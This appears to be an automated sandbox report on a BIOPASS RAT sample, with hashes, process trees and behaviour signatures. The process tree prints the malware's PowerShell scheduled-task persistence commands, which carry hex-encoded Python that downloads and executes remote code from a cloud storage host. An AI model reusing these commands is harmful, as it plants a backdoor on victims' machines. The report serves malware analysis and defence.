biopass | 30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe

Analysis

max time kernel
23s
max time network
26s
platform
windows7_x64
resource
win7v20210408
submitted
12-07-2021 07:12

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General

Target

30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe
Size

4.8MB
MD5

0c858bb12c5eeb59a7add281fc6045be
SHA1

6517cc3d9ad5a6ffc82fce8097070684fa6a6282
SHA256

30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe
SHA512

096055c770e6f1e1fc1e2993fa565f17cf23b6aa67180662f95aab2adf034cc23baf687c57da74a9a8f85f27883b3f27a6d6edf02a49881b552ad858c3b7f2b6

Score

10^/10

biopass rat trojan

Malware Config

Signatures

biopass
BIOPASS is a RAT connected with Winnti group (APT41).
rat trojan biopass

family_biopass 1 IoCs

yara_rule
family_biopass

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
1588	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe

Loads dropped DLL 64 IoCs

pid	Process
668	taskeng.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1588	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe
1964	ServiceHub.Host.CLR.exe

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1
HTTP User-Agent header	6	Go-http-client/1.1

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1996	ping.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
324	powershell.exe
324	powershell.exe
1052	powershell.exe
1052	powershell.exe
2036	powershell.exe
2036	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	324	powershell.exe
Token: SeDebugPrivilege	1052	powershell.exe
Token: 35	1588	ServiceHub.Host.CLR.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: 35	1964	ServiceHub.Host.CLR.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 1996	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	25
PID 1096 wrote to memory of 1996	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	25
PID 1096 wrote to memory of 1996	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	25
PID 1096 wrote to memory of 512	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	31
PID 1096 wrote to memory of 512	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	31
PID 1096 wrote to memory of 512	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	31
PID 512 wrote to memory of 324	512	cmd.exe	33
PID 512 wrote to memory of 324	512	cmd.exe	33
PID 512 wrote to memory of 324	512	cmd.exe	33
PID 512 wrote to memory of 272	512	cmd.exe	34
PID 512 wrote to memory of 272	512	cmd.exe	34
PID 512 wrote to memory of 272	512	cmd.exe	34
PID 1096 wrote to memory of 800	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	36
PID 1096 wrote to memory of 800	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	36
PID 1096 wrote to memory of 800	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	36
PID 800 wrote to memory of 1052	800	cmd.exe	38
PID 800 wrote to memory of 1052	800	cmd.exe	38
PID 800 wrote to memory of 1052	800	cmd.exe	38
PID 668 wrote to memory of 1588	668	taskeng.exe	39
PID 668 wrote to memory of 1588	668	taskeng.exe	39
PID 668 wrote to memory of 1588	668	taskeng.exe	39
PID 800 wrote to memory of 1352	800	cmd.exe	40
PID 800 wrote to memory of 1352	800	cmd.exe	40
PID 800 wrote to memory of 1352	800	cmd.exe	40
PID 800 wrote to memory of 592	800	cmd.exe	41
PID 800 wrote to memory of 592	800	cmd.exe	41
PID 800 wrote to memory of 592	800	cmd.exe	41
PID 1096 wrote to memory of 856	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	42
PID 1096 wrote to memory of 856	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	42
PID 1096 wrote to memory of 856	1096	30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe	42
PID 856 wrote to memory of 2036	856	cmd.exe	44
PID 856 wrote to memory of 2036	856	cmd.exe	44
PID 856 wrote to memory of 2036	856	cmd.exe	44
PID 856 wrote to memory of 1556	856	cmd.exe	45
PID 856 wrote to memory of 1556	856	cmd.exe	45
PID 856 wrote to memory of 1556	856	cmd.exe	45
PID 668 wrote to memory of 1964	668	taskeng.exe	46
PID 668 wrote to memory of 1964	668	taskeng.exe	46
PID 668 wrote to memory of 1964	668	taskeng.exe	46

C:\Users\Admin\AppData\Local\Temp\30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe
"C:\Users\Admin\AppData\Local\Temp\30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\system32\ping.exe
  ping www.baidu.com
  2⤵
  - Runs ping.exe
  PID:1996
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(bytes.fromhex(''696d706f72742075726c6c69622e726571756573743b657865632875726c6c69622e726571756573742e75726c6f70656e2875726c6c69622e726571756573742e526571756573742827687474703a2f2f666c617368646f776e6c6f61647365727665722e6f73732d636e2d686f6e676b6f6e672e616c6979756e63732e636f6d2f7265732f63313232322e7478742729292e7265616428292e6465636f6465282929'').decode())\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_SETTINGS"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(bytes.fromhex(''696d706f72742075726c6c69622e726571756573743b657865632875726c6c69622e726571756573742e75726c6f70656e2875726c6c69622e726571756573742e526571756573742827687474703a2f2f666c617368646f776e6c6f61647365727665722e6f73732d636e2d686f6e676b6f6e672e616c6979756e63732e636f6d2f7265732f63313232322e7478742729292e7265616428292e6465636f6465282929'').decode())\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:324
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_SETTINGS
    3⤵
    PID:272
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\Silverlight.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\Silverlight.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1052
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_TEST
    3⤵
    PID:1352
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /DELETE /F /TN SYSTEM_TEST
    3⤵
    PID:592
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(bytes.fromhex(''696d706f72742075726c6c69622e726571756573743b657865632875726c6c69622e726571756573742e75726c6f70656e2875726c6c69622e726571756573742e526571756573742827687474703a2f2f666c617368646f776e6c6f61647365727665722e6f73732d636e2d686f6e676b6f6e672e616c6979756e63732e636f6d2f7265732f636461656d6f6e2e7478742729292e7265616428292e6465636f6465282929'').decode())\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_CDAEMON"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(bytes.fromhex(''696d706f72742075726c6c69622e726571756573743b657865632875726c6c69622e726571756573742e75726c6f70656e2875726c6c69622e726571756573742e526571756573742827687474703a2f2f666c617368646f776e6c6f61647365727665722e6f73732d636e2d686f6e676b6f6e672e616c6979756e63732e636f6d2f7265732f636461656d6f6e2e7478742729292e7265616428292e6465636f6465282929'').decode())\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_CDAEMON
    3⤵
    PID:1556

C:\Windows\system32\taskeng.exe
taskeng.exe {E0BF4FFA-5CCF-4C2C-A680-9060AC7B40A1} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:668
- C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
  C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec(bytes.fromhex('696d706f72742075726c6c69622e726571756573743b657865632875726c6c69622e726571756573742e75726c6f70656e2875726c6c69622e726571756573742e526571756573742827687474703a2f2f666c617368646f776e6c6f61647365727665722e6f73732d636e2d686f6e676b6f6e672e616c6979756e63732e636f6d2f7265732f63313232322e7478742729292e7265616428292e6465636f6465282929').decode())" a a
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1588
- C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
  C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec(bytes.fromhex('696d706f72742075726c6c69622e726571756573743b657865632875726c6c69622e726571756573742e75726c6f70656e2875726c6c69622e726571756573742e526571756573742827687474703a2f2f666c617368646f776e6c6f61647365727665722e6f73732d636e2d686f6e676b6f6e672e616c6979756e63732e636f6d2f7265732f636461656d6f6e2e7478742729292e7265616428292e6465636f6465282929').decode())" a a
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/324-66-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/324-70-0x000000001AB20000-0x000000001AB21000-memory.dmp

Filesize
4KB

Download
memory/324-68-0x000000001AC00000-0x000000001AC02000-memory.dmp

Filesize
8KB

Download
memory/324-69-0x000000001AC04000-0x000000001AC06000-memory.dmp

Filesize
8KB

Download
memory/324-67-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/324-64-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/324-63-0x000007FEFBC41000-0x000007FEFBC43000-memory.dmp

Filesize
8KB

Download
memory/324-65-0x000000001AC80000-0x000000001AC81000-memory.dmp

Filesize
4KB

Download
memory/1052-80-0x0000000001E40000-0x0000000001E41000-memory.dmp

Filesize
4KB

Download
memory/1052-146-0x000000001C2E0000-0x000000001C2E1000-memory.dmp

Filesize
4KB

Download
memory/1052-82-0x000000001AB50000-0x000000001AB52000-memory.dmp

Filesize
8KB

Download
memory/1052-83-0x000000001AB54000-0x000000001AB56000-memory.dmp

Filesize
8KB

Download
memory/1052-81-0x000000001ABD0000-0x000000001ABD1000-memory.dmp

Filesize
4KB

Download
memory/1052-133-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/1052-84-0x00000000022C0000-0x00000000022C1000-memory.dmp

Filesize
4KB

Download
memory/2036-154-0x000000001ACD0000-0x000000001ACD2000-memory.dmp

Filesize
8KB

Download
memory/2036-155-0x000000001ACD4000-0x000000001ACD6000-memory.dmp

Filesize
8KB

Download